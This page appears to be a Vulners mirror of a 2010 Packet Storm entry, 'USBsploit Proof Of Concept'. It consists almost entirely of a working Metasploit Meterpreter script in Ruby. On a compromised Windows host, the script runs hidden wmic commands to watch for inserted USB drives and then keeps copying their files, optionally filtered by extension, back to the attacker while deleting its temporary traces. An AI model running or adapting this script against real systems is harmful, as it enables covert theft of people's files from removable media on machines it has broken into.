Lucene search
K

USBsploit Proof Of Concept

🗓️ 16 Jul 2010 00:00:00Reported by Xavier PoliType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 37 Views

usb sploit for dumping files from a remote system with Metasploi

Code
`### $Id: usbploit.rb 2010-06-19 22:46:25Z XPO $  
### Contact : [email protected] or http://twitter.com/secuobs  
### Tested target : Windows XP Pro SP3 into vmware server from a GNU/Linux host (USBsploit needs wmic on the targets to work)  
os = client.sys.config.sysinfo['OS']  
host = client.sys.config.sysinfo['Computer']  
require 'net/http'  
### options  
@@exec_opts = Rex::Parser::Arguments.new(  
"-d" => [ false,"Dump all the files and directories."],  
"-h" => [ false,"Help menu."],  
"-t" => [ false,"Dump only the text files using a predefined extensions sets (Autamatic download set file if needed). Must be placed after the -e parameter if not default value"],  
"-e" => [ true,"Specify a personnal file path with a specific extensions set to dump, must be enclosed between double quotes if complex path. Must be placed before the -t parameter if not default value."],  
"-w" => [ false,"Run the scan only one time instead of the infinite while."],  
"-v" => [ false,"Activate high verbosity"],  
)  
################## function declaration Declarations ##################  
### help  
def usage  
puts @@exec_opts.usage  
print_line("USAGE: ")  
print_line("With Metasploit >>> run usbsploit -w -v -e /opt/metasploit3/msf3/msf/data/textextensions -t")  
print_line("Previous command Will dump only the files matching the extensions set defined by the personnal extensions file and this will be done while a scan is successfull. High verbosity is also activated. NOTE: USBsploit needs wmic on the targets to work!!!\n")  
end  
### executing remote wmic commands  
def wmicexec(client,wmiccmds= nil)  
windr = ''  
tmpout = ''  
windrtmp = ""  
client.response_timeout=120  
begin  
tmp = client.fs.file.expand_path("%TEMP%")  
wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000))  
wmiccmds.each do |wmi|  
r = client.sys.process.execute("cmd /c wmic /append:#{wmicfl} #{wmi}", nil, {'Hidden' => true})  
sleep(2)  
#Making sure that wmic finnishes before executing next wmic command  
prog2check = "wmic.exe"  
found = 0  
while found == 0  
client.sys.process.get_processes().each do |x|  
found =1  
if prog2check == (x['name'].downcase)  
sleep(0.5)  
found = 0  
end  
end  
end  
r.close  
end  
### Read the output file of the wmic commands  
wmidrivefile = client.fs.file.new(wmicfl, "rb")  
until wmidrivefile.eof?  
tmpout << wmidrivefile.read  
end  
wmidrivefile.close  
wmidrivefile.close  
rescue ::Exception => e  
end  
### We delete the file with the wmic command output.  
c = client.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})  
c.close  
tmpout  
end  
### handle files  
def filewrt(file2wrt, data2wrt)  
output = ::File.open(file2wrt, "a")  
data2wrt.each_line do |d|  
output.puts(d)  
end  
output.close  
end  
### test if file exists remotely  
def remoteexists(dst)  
value = client.fs.dir.entries(dst)  
return value  
rescue  
return false  
end  
### test if a drive still exists remotely  
def remotedriveexists(dst)  
value = client.fs.dir.entries(dst)  
return true  
rescue  
return false  
end  
### recursive and differential downloader  
def dumper(dst,src,dump,verbose,host,extensionsfile,volumeserialnumber)  
begin  
### if a dump attack was chosen  
if dump == "true" or dump == "extension"  
state = 0  
### for each item on the drive  
if (value = remotedriveexists(src + File::SEPARATOR) == true)  
each = client.fs.dir.entries(src)  
each.each { |src_sub|  
if (src_sub == '.' or src_sub == '..')  
next  
end  
src_item = src + File::SEPARATOR + src_sub  
dst_item = dst + ::File::SEPARATOR + src_sub  
src_stat = client.fs.filestat.new(src_item)  
### if item is a file  
if (src_stat.file?)  
### check local size if file exist allready locally  
if ::File.exists?(dst_item)  
dst_size = File.size(dst_item)  
else  
dst_size = "NULL"  
end  
if src_stat.size == dst_size  
### same size  
if verbose == "true"  
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" unchanged compare to local copy \"#{dst_item}\"")  
end  
else  
### different size or no local copy, download the file  
### download only file matching the extensions set if option chosen  
if dump == "extension"  
openextension = 0  
File.readlines(extensionsfile).map {|extension|  
begin  
if extension.gsub("\n","") == File.extname(dst_item).gsub(".","")  
client.fs.file.download_file(dst_item, src_item)  
state += 1  
openextension = 1  
if verbose == "true"  
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" CHANGED compare to local copy or NEW, donwloaded and now available under \"#{dst_item}\", extension \"#{extension.gsub("\n","")}\" matchs the set chosen")  
end  
end  
end  
}  
if openextension == 0  
if verbose == "true"  
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" wasn't donwloaded, \"#{File.extname(dst_item).gsub(".","")}\" not part of the extensions range chosen")  
end  
end  
else  
### download file without taking care of an extensions set  
client.fs.file.download_file(dst_item, src_item)  
state += 1  
if verbose == "true"  
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" CHANGED compare to local copy or NEW, donwloaded and now available under \"#{dst_item}\"")  
end  
end  
end  
### if item is a directory  
elsif (src_stat.directory?)  
if ::File.exists?(dst_item)  
else  
### create the local directory identified on the remote drive if not exist  
::Dir.mkdir(dst_item)  
end  
### relaunch dumper function on the sub directory  
if verbose == "true"  
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") directory and under files from \"#{host}\" will be checked")  
end  
statet = state  
state = dumper(dst_item,src_item,dump,verbose,host,extensionsfile,volumeserialnumber)  
state += statet  
end  
}  
end  
end  
end  
return state  
rescue ::Exception => e  
return state  
end  
### parsing options  
dump = "false"  
verbose = "false"  
stopwhile = "false"  
extensionsfile = ::File.join(Msf::Config.data_directory, 'textextensions' )  
@@exec_opts.parse(args) do |opt, idx, val|  
case opt  
when "-d"  
dump = "true"  
when "-e"  
if ::File.exists?(extensionsfile)  
dump = "extension"  
extensionsfile = val  
else  
raise "Personnal extensions set File \"#{val}\" does not exist!"  
end  
when "-t"  
if ::File.exists?(extensionsfile)  
dump = "extension"  
else  
Net::HTTP.start("www.secuobs.com") do |http|  
req = Net::HTTP::Get.new("/usbsploit/textextensions}")  
resp = http.request(req)  
::File.open(::File.join(Msf::Config.data_directory, "textextensions"), "wb") do |fd|  
fd.write(resp.body)  
end  
end  
if ::File.exists?(extensionsfile)  
print_status("\"#{Msf::Config.data_directory}/textextensions\" downloaded \"from http://www.secuobs.com/usbsploit/textextensions\"")  
dump = "extension"  
else  
raise "Text extensions set File \"#{extensionsfile}\" does not exists and can't be downloaded!"  
end  
end  
when "-w"  
stopwhile = "true"  
when "-v"  
verbose = "true"  
when "-h"  
usage  
raise Rex::Script::Completed  
end  
end  
if args.length == 0  
dump = "true"  
end  
### variable declarations  
commands = ["LogicalDisk WHERE \"Description = 'Removable Disk'\" get DeviceID"]  
nbdrive = 0  
state = 0  
### Create a directory for the dumps  
logstmp = ::File.join(Msf::Config.log_directory, 'usbsploit' )  
logs = logstmp + "/" + host  
if ::File.exists?(logs)  
else  
::FileUtils.mkdir_p(logs)  
end  
### declaration tracking files  
drivefile = logstmp + "/drive" + host  
volumeserialnumberfile = logstmp + "/volumeserialnumber" + host  
oldvolumeserialnumberfile = logstmp + "/oldvolumeserialnumber" + host  
### cleaning  
if ::File.exists?(oldvolumeserialnumberfile)  
File.unlink(oldvolumeserialnumberfile)  
end  
### start  
print_status("Start launching USBsploit module Dump on the remote target \"#{host}\"")  
print_status("Waiting for removable drives to be inserted, remember USBsploit needs wmic on the targets to work!!!")  
first = 0  
temp = 0  
while temp < 1  
dumped = 0  
newnbdrive = 0  
### cleaning  
if ::File.exists?(volumeserialnumberfile)  
File.unlink(volumeserialnumberfile)  
end  
if ::File.exists?(drivefile)  
File.unlink(drivefile)  
end  
### number of drives plugged  
filewrt(drivefile, wmicexec(client,commands))  
::File.open(drivefile, "r").each_line do |drive|  
begin  
drive = drive.gsub(/[^\w|:]/,"")  
if drive =~ /:/  
newnbdrive += 1  
end  
end  
end  
### If at least one drive is plugged now and one was plugged during the last scan  
if newnbdrive > 0 and nbdrive > 0  
if newnbdrive > 1 and nbdrive > 1  
print_status("#{newnbdrive} drives are plugged into \"#{host}\", #{nbdrive} drives were previously inserted")  
elsif newnbdrive > 1 and nbdrive == 1  
print_status("#{newnbdrive} drives are plugged into \"#{host}\", #{nbdrive} drive was previously inserted")  
elsif newnbdrive == 1 and nbdrive > 1  
print_status("#{newnbdrive} drive is plugged into \"#{host}\", #{nbdrive} drives were previously inserted")  
elsif newnbdrive == 1 and nbdrive == 1  
print_status("#{newnbdrive} drive is plugged into \"#{host}\", #{nbdrive} drive was previously inserted")  
end  
### Get the list of all plugged drives this time  
::File.open(drivefile, "r").each_line do |drive|  
begin  
drive = drive.gsub(/[^\w|:]/,"")  
if drive =~ /:/  
### Get the volumeserialnumber for the plugged drive checked at this time  
newvolumeserialnumber = 1  
openvolumeserialnumber = 0  
command = ["LogicalDisk WHERE \"Description = 'Removable Disk' and DeviceID = '#{drive}'\" get VolumeSerialNumber"]  
filewrt(volumeserialnumberfile, wmicexec(client,command))  
::File.open(volumeserialnumberfile, "r").each_line do |volumeserialnumber|  
begin  
volumeserialnumber = volumeserialnumber.gsub(/[^\w|:]/,"")  
if volumeserialnumber =~ /\d/  
openvolumeserialnumber = 1  
### Recover all the volumeserialnumber values for the drives plugged during the last scan  
if ::File.exists?(oldvolumeserialnumberfile)  
::File.open(oldvolumeserialnumberfile, "r").each_line do |oldvolumeserialnumber|  
begin  
oldvolumeserialnumber = oldvolumeserialnumber.gsub(/[^\w|:]/,"")  
if oldvolumeserialnumber =~ /\d/  
### Check if this volumeserialnumber was part of the recovered ones from the last scan  
if volumeserialnumber == oldvolumeserialnumber  
newvolumeserialnumber = 0  
if verbose == "true"  
print_status("\"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\") found on \"#{host}\" but was allready inserted before and dumped")  
end  
else  
### nothing to do here  
end  
end  
end  
end  
else  
newvolumeserialnumber = 1  
end  
end  
end  
end  
if newvolumeserialnumber == 1 and openvolumeserialnumber == 1  
### Check if the new plugged drive is allways plugged at this time  
sleep(2)  
if (value = remotedriveexists(drive + File::SEPARATOR) == true)  
if ::File.exists?(volumeserialnumberfile)  
File.unlink(volumeserialnumberfile)  
end  
filewrt(volumeserialnumberfile, wmicexec(client,command))  
::File.open(volumeserialnumberfile, "r").each_line do |volumeserialnumber|  
begin  
volumeserialnumber = volumeserialnumber.gsub(/[^\w|:]/,"")  
if volumeserialnumber =~ /\d/  
### Create a directory for the dumps  
logskey = logstmp + "/" + host + "/" + volumeserialnumber  
if ::File.exists?(logskey)  
else  
::FileUtils.mkdir_p(logskey)  
end  
if dump == "true" or dump == "extension"  
print_status("New \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" found on \"#{host}\" will be dumped to \"#{logskey}\" if not allready from a previous attack")  
end  
### Dump the files from the new plugged drive  
state = dumper(logskey,drive,dump,verbose,host,extensionsfile,volumeserialnumber)  
dumped += 1  
if dump == "true" or dump == "extension"  
if state == "00" or state == ''  
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, no new file was copied!")  
elsif state == 1  
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} file was copied!")  
else  
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} files were copied!")  
end  
end  
end  
end  
end  
else  
### The new plugged drive checked was unplugged  
if verbose == "true"  
if dump == "true" or dump == "extension"  
print_status("Files can't be dumped from \"#{drive + File::SEPARATOR}\", certainly removed from \"#{host}\" now!")  
end  
end  
end  
else  
### The plugged drive checked was allready part of the last scan  
end  
if ::File.exists?(volumeserialnumberfile)  
File.unlink(volumeserialnumberfile)  
end  
end  
end  
end  
### elsif at least one drive is plugged this time and any during the last scan  
elsif newnbdrive > 0 and nbdrive == 0  
if first == 0  
if newnbdrive > 1  
print_status("#{newnbdrive} drives are initially plugged into \"#{host}\" when USBsploit starts")  
elsif newnbdrive == 1  
print_status("#{newnbdrive} drive is initially plugged into \"#{host}\" when USBsploit starts")  
end  
first = 1  
else  
if newnbdrive > 1  
print_status("#{newnbdrive} drives are now plugged into \"#{host}\", any drive was previously inserted")  
elsif newnbdrive == 1  
print_status("#{newnbdrive} drive is now plugged into \"#{host}\", any drive was previously inserted")  
end  
end  
### Get the list of all plugged drives this time  
::File.open(drivefile, "r").each_line do |drive|  
begin  
drive = drive.gsub(/[^\w|:]/,"")  
if drive =~ /:/  
### check if the new drive is allways plugged  
sleep(2)  
if (value = remotedriveexists(drive + File::SEPARATOR) == true)  
### Get the volumeserialnumber for the plugged drive checked at this time  
command = ["LogicalDisk WHERE \"Description = 'Removable Disk' and DeviceID = '#{drive}'\" get VolumeSerialNumber"]  
if ::File.exists?(volumeserialnumberfile)  
File.unlink(volumeserialnumberfile)  
end  
filewrt(volumeserialnumberfile, wmicexec(client,command))  
::File.open(volumeserialnumberfile, "r").each_line do |volumeserialnumber|  
begin  
volumeserialnumber = volumeserialnumber.gsub(/[^\w|:]/,"")  
if volumeserialnumber =~ /\d/  
logskey = logstmp + "/" + host + "/" + volumeserialnumber  
if dump == "true" or dump == "extension"  
print_status("New \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" found on \"#{host}\" will be dumped to \"#{logskey}\" if not allready from a previous attack")  
end  
### Create a directory for the dumps  
if ::File.exists?(logskey)  
else  
::FileUtils.mkdir_p(logskey)  
end  
### Dump the files from the new plugged drive  
state = dumper(logskey,drive,dump,verbose,host,extensionsfile,volumeserialnumber)  
if dump == "true" or dump == "extension"  
if state == "00" or state == ''  
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, no new file was copied!")  
elsif state == 1  
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} file was copied!")  
else  
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} files were copied!")  
end  
end  
dumped += 1  
if stopwhile == "true"  
temp += 1  
end  
end  
end  
end  
else  
### The new plugged drive checked was unplugged  
if verbose == "true"  
if dump == "true" or dump == "extension"  
print_status("Files can't be dumped from \"#{drive + File::SEPARATOR}\", certainly removed from \"#{host}\" now!")  
end  
end  
end  
end  
end  
end  
end  
### refresh the number of plugged drives for future checks  
if dumped == 0  
if newnbdrive == 1  
else  
end  
else  
if dumped == 1  
if newnbdrive == 1  
else  
end  
else  
if newnbdrive == 1  
else  
end  
end  
end  
if newnbdrive == nbdrive  
else  
if ::File.exists?(oldvolumeserialnumberfile)  
File.unlink(oldvolumeserialnumberfile)  
end  
### Save the volumeserialnumber of each plugged drives for future checks  
::File.open(drivefile, "r").each_line do |drive|  
begin  
drive = drive.gsub(/[^\w|:]/,"")  
if drive =~ /:/  
if (value = remotedriveexists(drive + File::SEPARATOR) == true)  
command = ["LogicalDisk WHERE \"Description = 'Removable Disk' and DeviceID = '#{drive}'\" get VolumeSerialNumber"]  
filewrt(oldvolumeserialnumberfile, wmicexec(client,command))  
end  
end  
end  
nbdrive = newnbdrive  
end  
end  
if ::File.exists?(drivefile)  
File.unlink(drivefile)  
end  
### delay for 2 continuous scans  
#sleep(10)  
end  
raise Rex::Script::Completed  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jul 2010 00:00Current
7.4High risk
Vulners AI Score7.4
37